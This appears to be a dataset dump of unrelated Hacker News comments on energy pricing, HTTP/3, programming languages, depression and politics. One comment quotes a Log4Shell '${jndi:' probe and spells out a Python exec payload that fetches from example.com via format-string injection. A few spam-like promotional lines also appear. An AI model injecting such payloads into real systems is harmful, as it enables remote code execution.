skysight-inc/HackerNews huggingface dataset:
There are some massive electricity consumers like air conditioners, air heating, water heating, refrigerators. Those have some freedom when they're working in a continuous mode. Basically you can heat air when it's cheap and stop heating when it's expensive as long as temperature is good enough. You don't have to micromanage it yourself, with proper software and protocols it could be done automatically.
If you have a home, rising prices would be of benefit to you and another incentive to invest in your community. Yes, people are protective about their neighborhoods, that is not difficult to understand I think. That can have reasons, correct or wrong ones.

> I'm not strictly against home ownership, I am one myself.

I am not surprised. I believe your form of progressivism is pretty protective of your own status but you deny it to yourself. Will you sell your home and rent an apartment in high density housing? Do you want that?
What are the fundamental provisions of Best Health Keto UK?
> When I observe myself in depressed phases and people who suffer from worse forms of depression, usually they do not work out, do not spend empathic time with others and constantly dopamine binge (via eating or other forms of quick pleasure).

Cause / effect. Are they depressed because they don't work or hang out, or do they not work / hang out because they're depressed? And there's bound to be other options as well.

I mean nothing personal, but your comment has energy of "thanks I'm cured"
Yes, I think it is a missed opportunity. Hopefully, we are slowly getting there.
We have smart meters, smart thermostats, smart everything, all these devices should be able to negotiate for the best time to run. The big red display can be a thing, but I don't want to micromanage my power consumption when it can be done automatically.

We already have boilers that turn off during peak hours, but you can also have your thermostats take the cost of electricity into account, there is a video by Technology Connections on that ( https://www.youtube.com/watch?v=0f9GpMWdvWI ). You should also have a "run when it is cheap" button on your appliances, most already have a delayed start feature, we can be a little smarter. Electric cars are even better because not only you can schedule charging but they are also batteries.

We already have the technology to do all that, at most, all we need is a standardization effort. Power line communication seems like a good fit. It is already used in smart meters to automate readings, and this way, any device that is plugged in knows how much it costs and can adjust, including the big red display if you want one.
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We will know over time. HTTP/3 is fixing all shortcomings of HTTP/2, which was pretty flawed.
It uses UDP though, and UDP itself can be blocked by many firewalls, and folks/companies have to update firewalls and routers for it to work properly. So, that's its major weakness (eg. some workplaces block all egress UDP packets).

https://news.ycombinator.com/item?id=27402222

As the article says, HTTP3 is pretty fast when there are high latencies/high loss scenarios. It will be interesting to see how it performs in a mobile setting. 4G and 5G networks have their own/specific optimizations that are different than a desktop world. eg. http keep alives were never respected, etc. (connections would be closed if there was no continuous activity). But, given the test, it 'should' be much faster than http 1.1

One think is for sure: HTTP 1.1 is going to still be used, even 100 years from now. It is like FM Radio, which is both good enough for most cases, and very simple and convenient at the same time.
I appreciate the broad philosophy of Go, which is that it's a simple language. Much simpler than Python which (and this is subjective) has made some questionable design choices. I also like how it's not exotic or surprising; you can just get straight to hacking.

I also like that Go is fast. It appears that some Python code is being rewritten in Go to make it go faster. Python's slowness is a problem in both the areas I've mentioned, and I know the usual workarounds.
There are valid reasons to be angry with the Lib Dems and vow never to vote for them again, but vowing to not vote for them again over AV is illogical. They have always wanted PR, they got a vote on AV as a conpromise which is the closest anyone ever got to achieving it, and there's no other party that is pro-PR that has any chance of getting power under the current system (except maybe some regional parties and they're actually working against their own interests by supporting PR). The current system also makes it a requirement to vote tactically so ruling out voting for any party is an extreme position.

On the other hand, the current system also means many votes are wasted and maybe your friends know thier vote wasn't going to matter anyway, bit they prpbably sgouldnt encourage others who moght be on different circumsrances.
At a previous employer, we had a 'fire call' to handle these situations. These were emergency situations and required a form submition and authorization from a manager. You were given temporary credentials with access to do what you needed to do.

I only had 2 of these in the 5 years I worked there, but here's an example. We had an internal purchase request system used for puchasing a keyboard or what ever you needed for work. Of course the purchase request went through a chain of approvals starting with your manager and eded with the CTO. The CTO threw a fit for having to approve keyboards and other small items, so it was deemed an 'emergency' to fix it right away. I had to immediately patch the code so he wouldn't see trivial requests. The 'fire call' allowed me to submit the code directly into production without going through the change control procedures, which only happened once per week.

And you better be damn sure that your changes are correct, crap rolls down hill very quickly when it involves very senior people.
How performant is JAX vs Numba in terms of non-ML applications?
When I researched ReSpeaker was one of the better solutions, they provide various mic-array PiHats, as well as professionally looking cases for the device. They also sell pre-build devices I think, if you're not into DIY.
https://www.seeedstudio.com/category/Speech-Recognition-c-44...

(Just to male it clear, I'm not affiliated with them in any way)
Status Update, December 2021
Abstract and executive summary are not the same thing. https://www.umass.edu/buscomm/absumm.html
XTGETTCAP is implemented in many terminals which replaces the need for terminfo, but it's not used yet by client libraries except for notcurses afaik.
It's kW⋅h.
Tools to perform load/stress test
There are 2 "types" of depression: situational and physical.

- Situational: you force yourself to do things, you feel better and break out of the cycle

- Physical: you force yourself to do things, you don't feel anything but suffering. You don't get endorphins from exercise, you don't get serotonin from going to events and hanging out and achieving things. Depression is usually anhedonia which is a loss of feeling - whatever happens you're completely emotionless

Depression creates a feedback loop: not doing things makes you depressed, depression makes you not do things. So sometimes you are just lazy and need to start doing stuff. But sometimes it's a physical depression which caused you to stop doing things, and just doing things again won't make you not depressed. That's why I generally suggest starting and trying things, to see if they have any effect, but don't push it otherwise.
Do you have any suggestion?
Dopamine fasting is not a real thing. As with all addictions it's about consciously modulating your response to a stimuli. That's not to say restricting ones urges would not be sometimes beneficial, but calling it dopamine fasting sounds like putting a layer of snake oil on top of a perfectly good solution to many ills.

For me depressive periods manifest as borderline obsessive computer gaming. It's not the binging that triggers the depression. I continue functioning as an employee and family member but need something to lift the feeling of anxiety and sadness. It's very much like a pain killer. I don't suggest compulsive gaming for anyone as a remedy but for me it makes things tolerable. I've been also so depressed that I got therapy and antidepressants, and warmly recommend the approach - but you need to find a therapist you feel suitable.
I agree with the parent though, Go code is super-readable and accessible. I've coded actual useful stuff in Java, C, C++, Pascal, Python, PHP, Pascal, Basic, (Jenkins) Groovy, Typescript, Javascript - and am probably forgetting some.

I also dabbled around in Rust and a bunch of other languages, but I wouldn't call that experience, although when it comes down to the initial accessibility and impressions, in this context, that is relevant I think. Go was hands down the most readable and accessible of the bunch, which probably has some roots in having a C/C++ background, and it being a pretty simple language.

Dev-env wise, it used to be a mess with the GOPATH etc, but that has mostly been resolved. And once past that, it was easily the language I picked up the quickest. It took me 2 or 3 days to actually write something useful. I've jumped head-first into codebases of large projects without even thinking about it, which I would have been very hesitant about if they had been written in another language. I've had to do that plenty for C++ and Java projects, but that always took some convincing of myself, and was never a pleasant experience.
the phone number was always a bummer and
https://kashmirlife.net/sleuths-silently-listen-to-clubhouse...

meant i could not willingly be a part of this but that's just me. instagram/snapchat folks seem to be liking it but not for some time as i have heard. the "euphoria" has kinda died as i had asked a few people who used to clock 14+hours in a single sitting.
There was a recent paper that discussed this and said the transition is now inevitable due to economics and maybe always has been, but lots of forecasts were linear in their assumptions.

https://www.inet.ox.ac.uk/files/energy_transition_paper-INET...

> Rapidly decarbonising the global energy system is critical for addressing climate change,
but concerns about costs have been a barrier to implementation. Most energy-economy
models have historically underestimated deployment rates for renewable energy tech-
nologies and overestimated their costs1,2,3,4,5,6. The problems with these models have
stimulated calls for better approaches7,8,9,10,11,12 and recent e↵orts have made progress in
this direction13,14,15,16. Here we take a new approach based on probabilistic cost fore-
casting methods that made reliable predictions when they were empirically tested on
more than 50 technologies17,18. We use these methods to estimate future energy system
costs and find that, compared to continuing with a fossil-fuel-based system, a rapid green
energy transition will likely result in overall net savings of many trillions of dollars -
even without accounting for climate damages or co-benefits of climate policy. We show
that if solar photovoltaics, wind, batteries and hydrogen electrolyzers continue to follow
their current exponentially increasing deployment trends for another decade, we achieve
a near-net-zero emissions energy system within twenty-five years. In contrast, a slower
transition (which involves deployment growth trends that are lower than current rates)
is more expensive and a nuclear driven transition is far more expensive. If non-energy
sources of carbon emissions such as agriculture are brought under control, our analysis
indicates that a rapid green energy transition would likely generate considerable eco-
nomic savings while also meeting the 1.5 degrees Paris Agreement target.
Easily the most balanced and deep review of the web3 bandwagon (maybe as you would expect from somebody who has seen it all before and from close-up).

I find this observation as the most hard-hitting:

> The failure to think through and build interfaces to existing legal and commercial mechanisms is in stark contrast to previous generations of the web

The gimmicky, "universe in a box", nature of web3 works great as a game, or maybe as a research tool but it is light years away from creating a gravity field strong enough to crush and remold millennia of trust relations, laws, paper contracts etc. all interlinked with actual (real life) economic activity.

The fact that the hype persists despite this (fairly obvious and debilitating) limitation suggests how unhinged the current environment, a result a period of extraordinarily easy money coupled with the FOMO effect attached to the trillion dollar valuations and power concentration of "big tech".

On the other hand, the palpable sense of anxiety in many industries indicates that we are certainly not done yet with digital disruption. Five years from now web3 will be joke, but there will be some new realities that will be anything but!
Are we winning the race to Net Zero
Lost access to the game Throne: Kingdom at War
5 days ago I lost access to the game Throne: Kingdom at War. Infinite loading, page freezes. Provider says everything is fine, and other sites are responding as usual. Support is silent.
Is anyone playing? Can you throw some feedback to support?
I will try to use some kind of VPN from the article https://en.vpnwelt.com/vpn-for-gaming/.
I used to use ExpressVPN and IPVanish, but I was not satisfied with this one.
The original phrasing is more accurate. "Earth and sun being ... apart" doesnt tell you if you are measuring from the center or surface.
Which has absolutely no relation to the claim that people would have no problem paying five figures for it. Additionally, public availability is often poor. For example the UK has a large and thriving market of private TMS clinics, with multiple competing providers.
In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs.

So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen('http://example.com').read()")}` and see what stick.

While my example is for python im sure other languages will have similar issues and we will see a rise in format string attacks.
Fedora and Gnome is only one desktop environment and one widget toolkit. For example, Qt-based apps didn't have touchpad gestures at all anywhere until my work on Wayland gestures landed this year.

It is true though that if one limits oneself to Wayland and only to Gtk-based applications that touchpad gestures mostly worked before. We now switched focus to adding touchpad gesture support to more applications, so there will be measurable progress even for this case too.
Declaratively
I wish more front-end stuff was oriented this way.
This is how I want front-end coding to be:
Rattle off what I need, semantically,
and then by default it will be styled and presented in a sensible way.
Then later, if our company stylist want our apps to
look a particular kind of fancy, he can configure some styling
that will apply to all.

This is also why I hate Windows WPF so much:
If you just add a label, a field, and two OK/Cancel buttons to a form,
it will look horrendous by default.
Only if you manually or deliberately set up some styling for it,
will it start to look sensible.

I want gui frameworks to look sensible out-of-the-box,
without cluttering everything with piles of boilerplate crap.
What Is the Metaverse For? (and Other Unasked Questions)
Oddly enough, you're omitting the English Civil Wars, which have killed an order of magnitude more people than the French Revolution.

But since they were mostly soldiers and peasants, as opposed to aristocrats and bourgeois, history doesn't make as big a deal out of that mountain of corpses.

Also, the American Civil War, which was pretty instrumental towards the establishment of some rather basic human rights... Many of which immediately backslid during reconstruction, because the Union's policy of appeasement and compromise with the losers

And that's just the English-speaking world. In much of the rest of Europe, it took the industrial-scale slaughter of the first world war to destabilize its monarchies of the early 20th century. Autocrats rarely give up power without violence, or the threat thereof.
What a boring anti-science trope. At least the anti-science denialists aren’t so negative.
A lot of replies talks about schema migration and tools like Liquibase etc. But as I understand the question, it's about running update / delete queries in production environment, not DDL.

In my opinion such queries should be subject of established development process:
1. Commit your query to a repository
2. Send to code review
3. After successful review and merge it should be deployed automatically by ci/cd

It may be necessary to run query directly via console in some cases, though. But such query should be committed to the repository latter any way.

And of course you should use proper tools like comments suggest.
But why would you put an 800cc engine in a full-sized sedan? You have plenty of room to fit a decent turbocharged two-liter four-cylinder.

And there is no way EVs need less space for battery + motors in total. Have you seen the size of a Model X battery pack? Only difference is they typically use space below the floor of the car, rather than in front. They are typically a bit wider than ICE cars to compensate and give sufficient interior space.
> If they missed something as obvious as this, who knows what other problems are going on in supply chain security or total lack of QA.

I'm pretty sure "they" that design the stickers are very different from "they" that design the chip... Similarly chip verification has rather a different skill set and attention to detail than someone doing "sticker QA".

Also I doubt anyone was doing sticker QA, I'd guess that this was probably an outsourced mistake (I used to work in printing when I was younger - the mistakes you wouldn't believe).
I don't need to imagine. You sit them down and you learn that they inhabit a completely different reality from your own. You try to describe your reality, and they dismiss it because it disagrees with their "reality". You try to anchor them in factual reality by pointing to people you both know who died of covid, but not before infecting others... who then also died of covid, etc., but they always have a way to dismiss whatever you have to say because it disagrees with their "reality". Because apparently online propaganda is more real to them than everything they see in person and everything their loved ones tell them.

I envy you if "sitting down" with them worked for you.

I think most people did give their best, repeatedly, only to be blown off, repeatedly. At some point, the people you care about stop being those people and start being abusive assholes, being personally responsible for killing your friends and family with their stupidity, and dragging us all deeper into this crisis.
Views: Split: The Final Frontier
This is another screed by someone who thinks Rust's success is due to marketing or branding or devs who throw great parties.

Rust is the first memory-safe language without a garbage collector [*].

That is why it is a big deal. Those are table stakes now.

Everything else is just styling and bonus points.

As for the article title: what killed Haskell was deviously unpredictable performance from large-scale programs. Haskell performance analysis is intractable for big programs. Rust's "just say no to GC" is about as diametrically opposed to that as you can possibly get.

[*] aside from research prototypes -- much respect to MLKit and Cyclone: https://elsman.com/mlkit/pdf/mlkit-4.3.0.pdf
>> We didn't beat flu. We still need vaccines every year.

Seriously? I thought flu vaccines were just a hipster thing: something you do to look cool, but they don't really matter much. In my country only 4% of people take them, and we don't have many flu-related deaths.
> Much simpler than Python which (and this is subjective) has made some questionable design choices.

One of the reasons golang is so simple is that they move very carefully on issues like this. It has its benefits and its drawbacks.

Adding operator overloading kind of opens a can of worms here. If they add that, why not arithmetic types? Why not exceptions? Why not x, y, z... Everyone wants just _one_ extra feature that would improve the language. Trouble is everyone disagrees on what that one feature should be.
My depression-like symptoms are caused by boredom. It would be really interesting if this would somehow make me not bored sitting in a chair for 10 hours.
Check out some of my other posts here! Most of the people have been fed propaganda, they probably think the tank man was run over. I can't believe that enabling China to take advantage is seen as an evil, the companies sold out America for cheaper labor, even after they cut benefits, and now cry about stolen IP from a country that in popular culture is know to copy products (poorly). Slavery is now seen as an expensive mistake, and so is outsourcing work to a poor country that copies designs, none of this is a suprise. They could have stayed and enriched the workers, paid them well so the economy did well, and kept their secret designs in a country that respected IP laws. The US as a culture lacks long term planning, like in infastucture, the length of the next elections, these companies saw short term profits mattered more and slaying the golden goose was the genius move.
Does anyone know a good external touchpad that would work with this?
I am using it with traefik too.
Whenever I see y axes not start from zero on a marketing slide or blog alarm bells go off in my head.

Tbf, I think for this blog the narrower range does help the first chart as you can 1) easily compare bounds 2) on the full scale they would be nearly at the same spot.
"Abstraction, not much incentive to build layers of abstractions"
This is portrayed as a bad thing but I find this at least weird and warped. IMO the infinite layers of abstraction that specific OO schools introduced are a curse for most codebases.
Some vague threat that had no teeth?

What happened? Nobody will be discouraged by such a short term sentence, and be emboldened by its opportunity cost.
There's many options, just look at other modern languages. The simplest are exceptions/errors that can be thrown - like you get in Java, python, typescript, etc. For something more like a traditional return value, you have std::result in rust, and error union types in zig, with language support to guarantee you check and handle the result. In C, you have macros and goto that can be used to reduce boilerplate and implement whatever pattern you want.
But the point of the alarm is to be able to leave and do something else. If Alexa is in the kitchen and you're in the garden it doesn't work?

I use the timer on my watch; then I can go away and completely forget about it, and be reminded in time.